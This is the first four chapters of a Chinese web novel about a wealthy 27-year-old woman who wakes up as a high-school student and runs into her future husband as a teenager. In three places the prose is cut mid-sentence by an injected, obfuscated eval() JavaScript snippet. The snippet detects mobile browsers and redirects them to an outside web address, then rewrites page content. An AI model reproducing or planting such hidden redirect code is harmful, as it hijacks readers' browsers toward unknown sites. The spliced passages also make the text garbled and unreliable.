《穿到清贫校草少年时》 1. 第 1 章 据说,每个被工作和生活压迫得直不起腰的成年人,最大的梦想是回到年轻时,再经历一次青涩懵懂而纯质的少男少女时代,头顶老式风扇叶吱呀呀转着,鼻尖是书页浓重的油墨味道,水性笔在纸上划过时沙沙作响,还有老师拖堂时好友在窗外看热闹不嫌事大的呼喊,像是做了一个长久不愿醒来的美梦。 然而这一切对祝明月来说,却完完全全不是一个梦。 因为,她是真的回到了十七岁! 一个星期前,祝明月正在私人海岛上度假。 穿着潜水服一头扎入海底体验自由潜水,如同往常一样,祝明月丝毫不担心自己会遇到危险,她可是拿到潜水证的女人,且潜水区域透明度高,没有暗礁或洋流影响,她安心地享受被海洋包裹的感受。 享受得差不多,就在她摆腿向海面游时,双脚似乎被一股无形的力量拽住,祝明月完全使不上力气,挣扎几秒,眼前一黑,整个人彻底失去意识。 本以为就这么死去,可再睁眼,她不仅没死,还回到了十七岁。 一个青春无敌又张扬肆意的年纪。 能变年轻,再经历一遍青春时代,拥有重来和改变未来的机会,照理说是值得期待的,但偏偏问题就出在这里。 祝明月青春里压根儿就没有什么遗憾! 而重生前? 祝明月二十七岁,已婚两年,结婚对象是白手起家的富一代商诀,一个常年在富豪榜上居高不下的人物。 作为商诀的妻子,祝明月可以说是享受尽一切便利,家里大大小小佣人将近十位,四位精通中式西式的厨师随时就位为她烹饪食物,出行豪车可以一个月不重样,每个季度品牌服装定期送上门随她挑选,需要什么东西,一条消息就有人送到她面前。 至于老公商诀…… 男人是个标准工作狂,不出差的时候每天按时回家,话少活儿棒长相好,每月问得最多的就是钱够不够花。 虽说两人结婚是个意外,没什么真感情,但有这生活还要啥自行车? 祝明月相当知足,巴不得下辈子继续过这种腐朽且米虫的生活。 也许就是太过顺遂,老天爷看不惯作为对照组的她如此享乐,代表命运的大手一挥,祝明月就回到了十年前。 毫无设计感的蓝白色校服,桌前堆成山的课本资料,永远写不完永远在刷新的试卷和作业,以及睡得比狗晚起得比鸡早,熬得憔悴蜡黄的脸。 这样受到束缚,没有自由可言的学生时代,祝明月表示她不要经历第二次。 然而抗议归抗议,一个星期过去,祝明月仍旧没回到二十七岁。 虽说她有考虑过往湖里跳一跳,试试看能不能回去,但这种拿生命冒险的行为,祝明月思索再三终究是放弃了。 能回到十七岁已经是个奇迹,她不敢再赌自己还有没有多余的运气。 总而言之,祝明月不太情愿地接受了现实,开始思考这辈子的新出路。 作为重返十七岁的幸运人士,摆在祝明月面前的道路显而易见: 一是按照上辈子的路走,通过艺考进入大学,在娱乐圈混迹几年嫁给商诀,从此半退隐,活跃在荧屏后。 二是把握改写人生的机会,努力念书考入名牌大学,搏一搏,单车变摩托,白手起家,创造辉煌,名留青史! 多么令人激动的一条路! 但祝明月只是稍微想一想就放弃了后者。 要是她是那个十七岁的祝明月,提前预知了自己的未来,她或许会拼搏一把,可她现在的躯壳里是个二十七的灵魂,大脑里的高中知识早就被她扔了个精光。 更何况,她当初成绩但凡好一点,又怎么会去参加艺考。 思索来思索去,祝明月觉得,还是走上辈子的老路比较靠谱。 不过此刻的情况相较于上辈子又有所变化,因为上辈子的她高中时期完全不记得她们学校还有商诀这一号人物,和商诀同一个高中这事她是婚后从李管家口中得知的。 因此,在穿回十七岁的当天,祝明月就火速打听到商诀所在的班级。 高二三班。 和祝明月所在的五班并不在同一层,但两个教室都靠西侧楼梯,顺着楼梯往上就能找到商诀的班级。 既然打算走老路,自然是越早抱上商诀的大腿越好,抱上了,直接少走六年弯路。 毕业即领证,毕业即享受生活。 退一万步说,就算有蝴蝶效应这事,她和商诀这辈子有缘无分,两人成不了夫妻,但凭借商诀过人的商业手腕和前瞻判断力,总有用得上他这个老朋友帮忙的时候。 不管怎么说,和商诀当上朋友,搞好关系,好处肯定比坏处多。 打定主意,祝明月悄咪咪摸去了商诀所在的五班,靠在玻璃窗户边暗中观察。 正值晚自习开始前的课间休息时间,同学们三三两两坐在座位上,一边用课本扇风一边聊天,气氛松快随性,时不时有笑声传来,穿透力极强,笑得肆无忌惮。 祝明月在心中不住感慨:啊,这扑面而来的青春气息! 熟悉的塑料灰桌面和笨重的铁凳子,穿着蓝白色校服的课代表穿梭在人群中发试卷,嘴里嚷嚷着“借光”,头顶电灯棍时不时闪动一下。 是祝明月熟悉又陌生的青春时代。 祝明月裸眼视力5.0,两只眼好比激光射线,她集中精神,忽略那些来来去去的同学,定睛在人群中搜索商诀的身影。 二十七岁的商诀长什么样,祝明月再清楚不过,但十七岁的商诀长什么样,祝明月还没见过。 不过,绝不会比二十七岁丑到哪里去。 虽然很不想承认,可她这人就是有点颜控属性,当初答应商决的结婚请求,或多或少参杂着点为色所迷。 正胡思乱想着,祝明月视线一停。 她觉得,她应该是看到了商诀。 坐在四组倒数第一排,靠近教室后储物柜的位置。 黑色短发少年靠在椅背上,微躬背,姿势不算板正,显得懒散松弛,正垂着脑袋把玩手上的东西。 有课桌遮挡,祝明月没能看清楚是什么,但她可以确信,那人就是商诀。 面无表情时微微压低的眉眼,眼窝极深,眉骨高,眼型狭长锐利,双眼皮窄而有形,鼻梁挺拔,嘴唇薄而红润,侧脸棱角分明。 所谓的三百六十度无死角帅哥。 再次看到商诀这张脸,祝明月心情颇为复杂。 结婚后,祝明月和商诀没有像其他合约夫妻那般,表面恩爱背地里各玩各的,她和商诀十分严谨地遵守婚姻准则,不搞包养、出轨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093897|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、戴绿帽子那套,连分床睡都没做过。 不知情的媒体每次拍下两人同框照,总会抓着夫妻恩爱这一点来写,笔墨夸张地描述她这个娱乐圈小花嫁给商业新贵的幸福婚姻生活。 但只有两位当事人知道,双方没感情,不乱搞纯粹是因为两人有分寸感,不做没道德的事情罢了。 睡前没事干的时候,商诀习惯性靠在床头看书,落地灯从侧面打来柔和的光,衬得男人鼻梁高挺,格外温柔俊朗。 每当这时,祝明月便会手欠地戳戳他硬邦邦的大腿,等他投来视线,又故作淡定地挪开,还要昂着下巴反问他一句:“看什么看,没见过美女啊?” 商诀总是笑笑不说话,下一瞬,慢条斯理放好书,摘掉眼镜,垂头吻上来,让她后半夜吐不出完整的话。 十七岁的商诀和二十七岁的商诀很像,但比二十七岁的商诀,十七岁的商诀显然更稚嫩,面部轮廓也柔和得多。 如果把二十七岁的商诀比作枝叶繁茂的大树,那十七岁的商诀就是一棵刚舒展枝叶,预备蓬勃生长的树苗。 就在祝明月满脑子预设要如何同商诀搭上关系时,有两位男生打闹着经过商诀,其中一人被推了把,身体失去控制撞向商诀课桌。 砰的一声。 课桌被撞歪,书本散落,商诀手里的东西紧跟着掉到地上。 原本吵闹的教室霎时按下静音键,众人齐刷刷将视线投递过去。 视线中心,商诀慢半拍撩起眼看向那人,漆黑的眼眸中情绪冷漠如寒冰,毫无温度可言,配上锋利的五官,满脸写着不好惹三个大字,即便穿着校服也掩不住那股烦躁和戾气,哪里看得见半分二十七岁商诀的温润如玉。 那位男生显然读懂了商诀眼神的含义,连忙低头道歉,将地上散落的课本捡起来,哆哆嗦嗦的吐词:“对、对不起,对不起,对不起……!” 一位体型敦厚的男生走过来,捡起地上的手机递给商诀,“老徐都说了教室里不要追逐打闹,说了多少次怎么就是不听?” 商诀皱了皱眉,伸手接过手机,检查了一下,确认手机完好,口吻不耐:“下次注意。” 似乎是没料到商诀这么好说话,那位男生愣了几秒。 留着中分短发的黑色短袖男生赶走坐在商诀前桌的人,一屁股坐下来,眉毛挑了挑:“不懂什么意思吗,决哥的意思是,快点滚~” 最后一个滚字,被他刻意拖长声调,说得格外欠揍。 撞到课桌的男生才不会注意这些细节,如蒙大赦,把课本放回原位,一溜烟跑了个没影。 ‘好戏’终场,班级恢复方才的热闹,说话声音却不约而同压低,像是生怕惊扰某位不好惹的人。 黑色短袖男生将移位的课桌推回去,十分狗腿地开口:“诀哥,这周末你有空吗,我们再打几场呗,叫职高那几个人好看,压压他们的风头。” 不等商诀回答,又有几人从班级外进来,在商诀课桌旁形成小包围圈,将商诀身形挡了个七七八八。 听着那些男生一口一个诀哥地叫着,祝明月快要不认识‘诀’字该怎么写了。 她站在原地,整个人宛若五雷轰顶。 诀哥? 商诀? 她老公? 她温润如玉帅气多金的老公? 2. 第 2 章 噼里啪啦。 祝明月仿佛听到自己心碎的声音。 她表情备受打击,捂着自己心口,泪水不自觉上涌,聚集在眼眶。 谁能告诉她,不过是重生一回而已,她那温润如玉帅气多金的老公怎么就变成了班级一霸,街头老大! 那她抱大腿的计划还能顺利进行吗? 这么说吧,如果商诀还是两人结婚时那副俊逸温柔的模样,祝明月觉得,她死皮赖脸缠上去,说不定也就成了。 毕竟烈男怕缠女,祝明月最不缺的就是耐心,给她一点食物,她能活下来,给她一点时间,她能让商诀和她成为好朋友。 但祝明月万万没想到,十七岁的商诀是个拽天拽地,从头到脚散发着嚣张气焰的校霸。 祝明月抱大腿的想法还没开始就面临着失败,一时靠在玻璃窗上,脆弱得好似林黛玉附身。 被‘小弟’们围着的商诀似是感应到那股强烈的注视,抬眸朝祝明月方向看去。 只见靠在玻璃窗边盯着他泪眼婆娑的祝明月。 商诀微不可见地皱了皱眉。 旁边男生注意到商诀的动作,顺着看过去,欸了一声,惊讶道:“这不是五班的祝明月吗,她来干什么,她眼眶怎么红红的,被谁气哭了?” 另一个男生笑着看向商诀,调侃道:“还能干什么,估计是仰慕我们诀哥的风采,特意来看我们诀哥的,至于眼泪?就和粉丝见偶像一样,太激动了呗。” 祝明月。 商诀在心口过了一遍这个名字。 再看过去,祝明月的身影已然消失,仿佛方才是他的错觉。 重生后,温润如玉帅气多金的老公变成校霸这件事太过奇幻,祝明月遭到沉重打击,将近一星期没心思琢磨该如何抱商诀大腿。 她穿越来的这个节点刚好是高二新学期开学。 高一下学期文理分班,祝明月这不上不下的成绩迫使她听从老师的意见选了理科,被随机分配进了五班。 班主任刘丰松是个教学经验丰富的中年POLO衫死忠粉,对班级的管理主打无为而治。 外加一个多月的暑假放养,学生们还沉浸在假期的懒散状态中没恢复,因此,祝明月浑浑噩噩的样子并没引起老师们的注意,不过是上课睡觉被点名的次数增加了而已。 倒不是她想在上课的时候睡觉,只是穿来前祝明月习惯睡到九点起床,加上有个喜欢在晚上折腾的商诀,没有工作没有应酬的时候,睡到下午一两点起床也是常有的事。 而现在,每天天不亮就要起床,蹬着自行车气喘吁吁来上学,晚上九点四十下晚自习,又气喘吁吁蹬着自行车回家,洗漱一番,再解决点白日课堂上遗留的作业,时间就快到十二点。 起得比鸡早,睡得比狗晚,算下来每天睡眠时间不超过六个小时,她实在睡不饱。 另外,时隔多年听老师们在讲台上念天书,最好的催眠ASMR莫过于此,怎么能辜负。 索性祝明月听不懂课本内容,便破罐子破摔地睡下去。 周三上午第二节课结束,祝明月是被同桌叫醒的。 同桌叫米莱,是个留着中分长发的女孩,鼻梁上戴着黑色镜框眼镜,几乎不怎么笑,表情严肃,嘴角线条平直,是她们班的学习委员兼数学课代表。 祝明月知道这点,还是因为米莱前几天同她收数学作业。 祝明月当然没写! 顶着米莱如有实质的视线,将作业精明地抄写了一份交上去。 好在米莱人不错,没有说她什么,只是在收走作业时默默加了一句:“祝明月同学,你下次早点写,你抄的是严向期的作业。” 祝明月:“?” 祝明月卒。 虽然已经过了十年,但祝明月他们班次次考试稳坐倒数第一的严向期她还是有印象的。 总而言之,祝明月的重生完全没有别人想象中的威风凛凛,可以说祝明月是夹着尾巴当人,争取普普通通不引人注目。 此刻,米莱站在祝明月旁边。 她站着,祝明月坐着,即便是俯视的角度,祝明月依旧漂亮得出众,找不到一点颜值死角,欺霜赛雪的皮肤,脸蛋光滑,看不到一点痘痘和瑕疵,睫毛浓密纤长,鹅蛋脸脸型流畅耐看,鼻梁挺翘,嘴唇带着自然的红润,好看到让人怀疑她是不是化了网上说的心机素颜妆。 但米莱知道祝明月没化妆,上课的时候她偶尔会偷看祝明月。 而祝明月,几乎一大半时间都在睡觉,左手撑着脸,右手捏着笔,老师声音稍微大一点,她就动一动,捏着笔在草稿纸上写几个字,一副三好学生认真听讲的模样,实际上眼睛睁都没睁开。 这给了米莱绝佳欣赏祝明月同学美貌的机会。 两人坐在靠窗的位置,阳光从窗外打入,逆着光的方向,能看到祝明月流畅漂亮的侧脸轮廓,优越的眉骨和纤长的睫毛,还能看到脸颊上细小的绒毛,好看到能进博物馆当标本的程度。 如果当明星,绝对能火爆全球。 祝明月见米莱一直看自己,瞬间不困了,揉揉眼睛,“怎么了米莱?” 声音也好听,清脆清脆的,像是风在竹林中穿,清透动人。 尤其,叫的还是她的名字。 米莱脸有些发烫,她抿了抿唇,解释:“要排队下楼去操场做课间操,你不能再睡觉了。” 话音刚落,教室外走廊上的音箱在滋啦的电流音后叮叮咚咚响起来,是足以让人应激的运动进行曲。 祝明月哀嚎。 “我讨厌课间操!” 学校规定,开学一周高一新生需要趁大课间和晚自习时间排练体操,整理队形,因此这一周多时间里,高二高三被特许不用下楼做操,现在高一新生队伍整理完毕,高二高三自然要去操场跳操。 强身健体是教育部门对每个学校提出的要求,即便是最注重学习成绩的江城一中也不会跳过这个环节。 米莱正要往外走,忽然被祝明月拉住手,没用什么力,确认米莱停下就松了手。 她站起来,比米莱要高出半个脑袋,眼睛亮晶晶地看着米莱。 “米莱,待会儿做广播体操,我能不能站在你后面呀,一个暑假过去,我都快忘记了要怎么跳操,可以吗?” 米莱脸上的红晕从脖子一路蔓延到脸上,声音结结巴巴的:“可、可以。” “谢谢你米莱。”祝明月笑起来,看到米莱脸蛋上的红晕,拿起课本给她扇了扇,困惑道:“是不是太热了?” 这时候学校还没安空调,祝明月记得学校是在高三下学期安的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093898|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好歹是让她们那届毕业生享受了半个学期。 米莱头摇得更厉害:“……没,没有,不热,我们下楼吧。” “好。” 从教室后门走出来,祝明月下意识往上层楼梯看。 穿着白蓝短袖校服的学生们结伴往楼下走,并未见那个她熟悉又陌生的身影。 说不清是遗憾还是失落,祝明月缓缓收回视线。 江城一中没有晨午跑,只有课间操,课间操一共两套,蹦蹦跳跳中四肢都能得到舒展拉伸,天气冷的时候跳完,四肢立马变得热腾。 祝明月这个重生的假高中生大脑里还残留着部分记忆,但实在是太久没跳,即便跟着前面刻意放慢动作的米莱,仍旧做得磕磕碰碰。 在队伍中四肢宛若乱飞,跳到一半,被看不下去的刘丰松揪到了队伍末端,以免影响班级课间操的量化评分。 老刘纳闷,不自觉问了一句,“一个月的暑假而已,不至于体操动作都忘干净了吧。” 祝明月呵呵两声,无力解释:“刘老师,你知道什么叫度一日如十年吗?” 一觉醒来,回到了十年前。 刘丰松其实没指望祝明月回复他,听了祝明月这话,更稀奇地看她两眼,像是发现新大陆。 祝明月没注意老刘的眼神。 毕竟不是真正爱面子的十七岁,二十七岁的祝明月十分坦然站在队伍末端蹦蹦跳跳,再次在心底感慨青春真好。 老胳膊老腿都变得格外轻盈有力。 五班和三班中间只隔着一个四班,一个不经意的转身,祝明月和商诀对上视线。 商诀个子高,站在最后一排,普通的校服像是量身定做,贴着肩胛骨的线条流畅清瘦,浓密的墨色发丝被炙热的阳光穿透,金灿灿得有些晃眼,帅气得不像话。 对视不到半秒,商诀最先收回目光,蜻蜓点水般掠过祝明月,和看陌生人没什么区别。 祝明月叹口气。 商诀和她现在可不就是陌生人么。 两套广播体操跳完,人群稀稀拉拉往教室走,还有一部分趁着有时间抓紧往超市跑买冷饮喝。 祝明月手头没几个钱,买饮料这种事情和她不沾边,她早早在课桌里备好了常温水,打算回教室喝。 许久没运动,祝明月额头覆着一层薄薄的汗珠,她拆了包手帕纸,一边往教室走一边擦汗。 也就是这时,祝明月敏锐听到身后人群里有人讨论她的名字。 “决哥,你注意到没,做操的时候祝明月一直在看你。” “诶,祝明月上个星期是不是还跑你们班去看你了?表情含羞带怯的。” “噢!我就记起来了,那次是不是还哭了,两只眼睛都是红的。” “是啊,不过话说回来,祝明月是真的好看,长得清纯又清冷,高一的时候就很出名,还有人给她取‘月亮女神’的称呼。” “你们没人觉得那天祝明月眼睛哭得红红的样子……有点像是,被人欺负过,像不像?” “哈哈哈哈哈,我懂我懂。” “你懂什么啊你懂,你想得太猥琐了吧!” 说话几位男生对了个眼神,发出意味深长的哄笑,像猴子一般忽然噢噢叫起来,没完没了。 “商诀,你觉得呢?” 3. 第 3 章 见商诀半天没说话,男生好奇地偏头问他。 商诀面无表情。 他觉得莫名其妙,他和四班的男生原本就不熟,不过是周末结束家教的路上被赵拾正拉着和职高的男生打了一场,帮他们赢得了社区篮球赛场地当天使用权罢了,这些人就开始莫名‘决哥’地叫着他,热络得好似他们结识许久。 而他连他们的名字都没记住,更何况是询问他对一个女生有没有印象,有这个必要吗? 祝明月是谁,祝明月看的是谁和他有关吗? 商诀并不想讨论,正要开口,听到那位男生的惊叫,他望过去。 话题的中心人物,祝明月不知何时站到他们面前,面颊绷紧,表情愤懑凶狠,她堪堪收回踩男生的白色板鞋。 祝明月眼睛紧紧盯着对方,丝毫没有撤退的意思,锐利又明亮:“再重复一遍你刚刚说过的话!” 男生不知是被疼的还是被突然出现的祝明月吓的,看着面前的祝明月,张着嘴,好半天也没能憋出一句话。 祝明月蔑视地扯了扯嘴角,继续输出:“你的教养和素质就是让你在背后嚼舌根,说一些有关女生的滥俗谣言吗?亏你还是一中的学生,我都羞愧和你一个学校!” “道歉,就现在!”祝明月强调。 旁边另一位男生反应过来,主动打起圆场,“那个……,没必要吧,我们私下讨论也不是在你面前说的……” 没必要? 祝明月真的气笑了,她转头盯着那位说话的男生。 他离商诀的位置最近,祝明月视线稍稍一偏就能看清商诀。 想到商决,她心头的火烧得更盛。 发现少年时的商诀是个校霸就算了,比这更可怕的是商诀还是个会背地里和其他男生开黄色玩笑的校霸。 祝明月完全无法忍受。 “你以为你又好得到哪里去?能因为这个话题就讨论,玩到一起的人都一样,蛇鼠一窝,沆瀣一气,我那一脚没踩到你你就偷着乐吧,我是当事人,我听到了,要求道歉有问题吗?背后说人坏话就要做好被听到的自觉!敢说却不敢承担责任,完全是懦夫行径!” 祝明月说这话时,眼神在几人身上扫过一圈,丝毫没有撤退的意思。 那位男生迫于周围人的目光和祝明月强悍的气场,最终不情不愿说了声对不起,细若蚊呐。 “我不接受!” 祝明月声音清晰响亮。 没人规定道歉就必须接受。 祝明月说完,马尾一甩,转身离开,只留给他们一个潇洒的身影。 大约是觉得没面子,那几个男生在祝明月离开后面面相觑片刻,尴尬散开。 很快,商诀身边只剩任拓一人。 任拓是商诀的同班好友,也是昨天将商诀被撞掉的手机捡起来的人。 作为了解事情全部真相的人,任拓看着祝明月愤而远去的背影,问商诀:“祝同学对你误会似乎有点深,不打算解释一下吗?” 商诀紧绷的眉头松开,声音一贯冷淡:“我和她不认识,没什么好解释的。” 任拓没来得及说话,肩头突然一沉,一只手臂搭上来,看热闹不嫌事大的声音传来。 不必转头就知道是赵拾正那小子。 赵拾正:“我靠,我是不是来迟了,我刚听人说祝明月在和你们吵架?!” 任拓拍开赵拾正的手,扶了一下镜框,“准确来说,是她单方面的‘教育’。” 赵拾正:“??” 见赵拾正满脸好奇,任拓简单说明来龙去脉,“懂了吧,她生气很正常,我刚刚是在问商诀为什么不解释,因为祝明月同学发火时说的话给我一种全部是冲着商诀来的错觉。” “懂了。” 赵拾正若有所思点头。 他其实很能理解商诀这个高冷校草的选择,解释这种行为太费口舌,有损高冷校草威严。 而祝明月说的那番话着实有些颠覆过往赵拾正对她的看法。 他和商诀、任拓两个好哥们是高一认识的,高一下学期分班,没能和他们一起,去了五班,和祝明月一个班。 虽说平时很少和祝明月接触,但毕竟是同班同学,对祝明月的了解肯定比其他班同学要多。 祝明月的父母在她升入高一那年意外离世,家里只剩她和她的双胞胎弟弟祝山川。 弟弟祝山川因为身体缘故上学要晚一年,成绩优异非常,今年带着市第一的状元头衔考入江城一中。 学校校园网站首页挂着的照片里,给祝山川颁发入学奖学金的校长笑得合不拢嘴。 站在校长身侧的男生一身简单黑色T恤,五官立体挺拔,眉目漆黑干净,长着一张学校十几年前的老古董摄像机也无法磨灭的帅气脸庞,让祝山川未入校先出名。 学霸固然让人崇拜,可如果这个学霸长得好看,那就是神。 这一点,从学校贴吧上重金求祝山川联系方式的帖子已涨价至五百块便能看出。 与之相反的则是祝明月,入学时成绩低调到查无此人,在班级里是透明人的存在,上课不举手,下课不发言,性格安静淡漠。 不过因为那张漂亮又具有辨识度的脸蛋,每日借着接水由头跑来五班观摩的人不在少数,递情书、送礼物的十根手指头都数不过来。 夸张到让赵拾正时常痛恨这个看脸的世界。 对于表白者,祝明月从未给过回应,每日沉着张脸独来独往,面部表情少见波动,疏离冷清到让人不敢轻易靠近。 因此,听到任拓口中的祝明月,赵拾正合理怀疑是否是自己认识的那个高冷校花祝明月。 任拓怎会认错,点了点自己眼睛那块位置,“就是右眼下有颗小黑痣的女生嘛。” “没错没错,她们女生说是什么泪痣。”赵拾正手一拍,打了个响指,给这件事下了定论:“那我只能说他们活该,谁让他们背地里说人坏话的,这回商诀纯属无妄之灾,商哥,来,为了安抚你幼小的心灵,我请你喝饮料,任拓付钱,拿最贵的,千万别客气。” 任拓气笑了,抬脚就往赵拾正屁股上踹,丝毫不收敛力气:“滚犊子!” 赵拾正才不会站着仍由他踹,将身一扭,灵活躲过,两人追逐着往前跑,回头呼喊商诀跟上。 商诀应了声,迈步的动作微微停顿,终究是弯下腰,捡起祝明月输出时遗忘在地上的纸巾,扔进一旁垃圾桶,快跑两步跟上好友。 夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093899|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 末阳光仍旧炙热,透过香樟树树叶罅隙洒落,跳动的光斑掠过树下少年,显露出忽明忽暗的光影。 树下,祝明月还不知道自己性格的异常被人看出,一路愤愤—— 去他的商诀! 和他结婚简直是她人生中做过的重大错误决定之一! 老狐狸商诀结婚时装得那么好,儒雅绅士,多金帅气,重生一次,全让她看明白了。 校外打架当校霸,混混之流。 校内开黄腔,肆无忌惮讨论女生,无耻之流。 祝明月有种偶像塌房的挫败感和无力感,胸口压着一块石头,又气又闷。 就连最开始重生地点刷新在教室时都没现在气恼。 可能这群男生谁都不觉得用隐晦的话语开黄腔是件多么严重的事情,这个年代,手机浏览网页稍不注意就会跳转色.情网站,出差住酒店大概率会被塞特殊服务小卡片,青春期少年随着身体逐渐发育健全,早就过了对性一无所知的年纪。 祝明月作为过来人表示理解,但这话明目张胆说到了祝明月身上,她要是装不懂,或者满不在乎,岂不是给他们得寸进尺的空间。 她要愤怒,要表达,要告诉他们这不是一件小事,也不是一件值得原谅的事情。 而她更生气自己。 生气她自己居然妄想通过走捷径实现人生越级。 靠山山倒,靠人人跑,这个道理是多少前辈总结出来的,怎么她偏偏就是不明白,人生艰难,如逆水行舟,哪里有那么多的捷径让她走! 如果年少时的商诀真的是个如此恶劣的少年,她抱什么大腿,当什么朋友,她没给商诀两脚就不错了。 大概祝明月自己都没有发现自己有多么愤怒,甚至将这份愤怒转嫁在重生前和她关系更亲近的商诀身上—— 谁让他要交这种朋友,谁让他年轻时如此不靠谱! 总而言之,言而总之,都是商诀的错。 “我去他山盟海誓大房子!” 祝明月忍不住骂出声,堪堪泄愤,一抬眼,对上一张写满犹豫的脸,眉目与她有几分相似。 正是她的双胞胎弟弟祝山川。 “姐……” 祝山川是听人说自家姐姐和人吵起来才折返操场的,刚碰上,迎面就受了祝明月一句骂,瞧祝明月没受伤,心头松口气,想开口说点什么,又不知该说些什么。 祝明月没给祝山川踌躇的机会,她看商诀不爽,连带着看祝山川也格外不爽,冷哼一声,和祝山川擦肩而过。 祝山川不敢多言,默默跟在祝明月身后,直到祝明月进了高二教学楼才离开。 片刻,坐在教室平复心情的祝明月收到祝山川消息。 厨子老弟:【晚上加餐吃什么?】 祝明月咬唇,恨恨敲字:【我减肥!】 祝山川那边安静了片刻,试探着发来一句:【肥牛米线加小酥肉怎么样?我今早出门腌好的,肯定入味了。】 祝明月可耻心动了,她想吃米线,干脆不回复祝山川。 当天晚上,祝明月享用了祝山川精心准备的酸辣肥牛米线和现炸小酥肉。 吃完,高傲地擦了擦嘴,表示祝山川的厨艺仍有进步空间。 4. 第 4 章 祝明月向来是个说话算话的人。 没说不吃宵夜,所以将米线吃了个精光,说好不抱商诀大腿,从操场那事后,祝明月就克制着自己不去关注商诀,连做课间操不小心往三班看了眼都要掐自己一把。 不过,真正让祝明月忘记抱大腿的还得是紧张的学业。 上天并没有给祝明月开任何金手指,她的人生没有因为提前预知发生任何颠倒性的改变,反倒因为作业写太差频频被叫进办公室。 每个老师开场台词都差不多。 “祝明月同学,我其实一直很看好你的发展潜力,上个学期期末你班级排二十三名,说差不差,说好不好,只要你在高二这关键的一年里抓紧冲一冲,逼自己一把,狠下心来,一本不在话下,211、985可以搏一搏…… “老师对你一直是很有信心的,但如果你一直是这个学习态度,那不仅仅是老师逼你学没用,神仙来了都没辙……” “你跟老师透个底,你是真的想学,还是已经自我放弃了……” 祝明月委屈,忍不住想反驳:这就是她认真学了的成果。 但重生一遍,多活十年的好处就在这里,祝明月知道老师想要的态度是什么,对这个场景应付自如。 细黑的眉毛微微蹙着,显露出严肃凝重的神态,传达出对老师话语的认可,以及对自己作业上满是红划痕的心痛和懊恼,再憋会儿气让眼眶变红湿润,一般到这个时候,老师就已经能感受到她深刻的悔恨,摆摆手让她回教室。 今天也是如此。 就在祝明月努力憋气时,门口传来敲门声。 隔壁工位的数学老师招了招手。 “商诀啊,你来了,来,把你们班上次小考的试卷拿去发了,改来改去就你一个满分,”数学老师声音费解:“这次小考是有难度,也不至于让你们班全军覆没吧。” 另一侧祝明月班级数学老师胡贤华听见,打趣:“程老师,你有商诀这个宝你就偷着乐吧,你那套试卷出的确实难,换了我们班,也就一个优势。” 胡贤华不卖关子,直白道:“做题时间短,你们班两个小时,我们班半个小时就行,因为后面一个半小时的题目完全不会。” 办公室其他老师听了哈哈笑起来。 祝明月:“……” 祝明月搞不懂这群老师的笑点,在听到商诀的名字,下意识抬头,与门口站着的黑发少年眼神交汇。 仍旧是那张陌生而熟悉的青涩脸庞,黑色碎发下的眼漆黑深沉,辨不出任何情绪,白色短袖校服贴着削瘦嶙峋的肩胛骨,站姿笔挺,曲起敲门的手尚未收回,手背青筋有力蜿蜒起伏。 对视不过三秒,商诀率先收回视线,表情平静朝着数学老师走去,祝明月则在物理老师的提醒下立刻垂眼,装出一副深刻反省的模样。 物理老师张骐毕竟是年轻教师,比刘丰松更了解学生的想法,看祝明月这表情就知道她是装的。 基于祝明月家庭情况,张骐不再多说,从桌上抽了本资料递给祝明月。 他板着张脸,表情严肃:“我这边恰好有多的资料书,适合打基础,你除了我布置的练习作业,额外把这本书吃透,不会就来办公室找我,我不在,就找其他物理老师问,期中期末我要检查进度,不准糊弄我,听到没?” 祝明月老实点头:“知道了,谢谢张老师,我会认真写的。” 祝明月讨厌写额外的作业,但她现在哪里有空和张老师讨价还价,她满脑子都是三班数学老师说的话,那位老师说什么? 改来改去,就商诀一个满分。 商诀居然能拿满分? 是了。 重生一回的祝明月忘了,江城一中分班时会提一部分成绩前列的同学进入实验班。 理科一到三班是实验班,文科一到二班是实验班,小班制度,一个班级四十名学生。 实验班上课速度快,讲解内容更深,在家长们看来,进入一中实验班相当于半只脚踏进211大门。 商诀既然在三班,那他成绩必然不差,或者说,至少每次都是年级前一百二十名。 那她对商诀成绩不好的混混校霸印象从何而来。 祝明月拿着资料书,愣愣回到教室,米莱发完练习册回座位,她转而看向米莱,欲言又止。 米莱主动询问,“怎么了吗?” 坐在一起将近半个月,米莱已经能适应祝明月的颜值冲击,不至于像开始那样脸红害羞,但靠得这么近,米莱还是忍不住心跳加速。 祝明月用的大概是鸢尾花沐浴露,花香调并不浓郁,若隐若现,发丝也透着那股清雅清爽的味道。 对上米莱的视线,祝明月一时不知如何开口。 直接询问米莱对商诀了解多少? 那也太尴尬了。 且不说询问一个女生对另一个男生有没有印象这种在高中疑似暗恋的倾向过于明显。 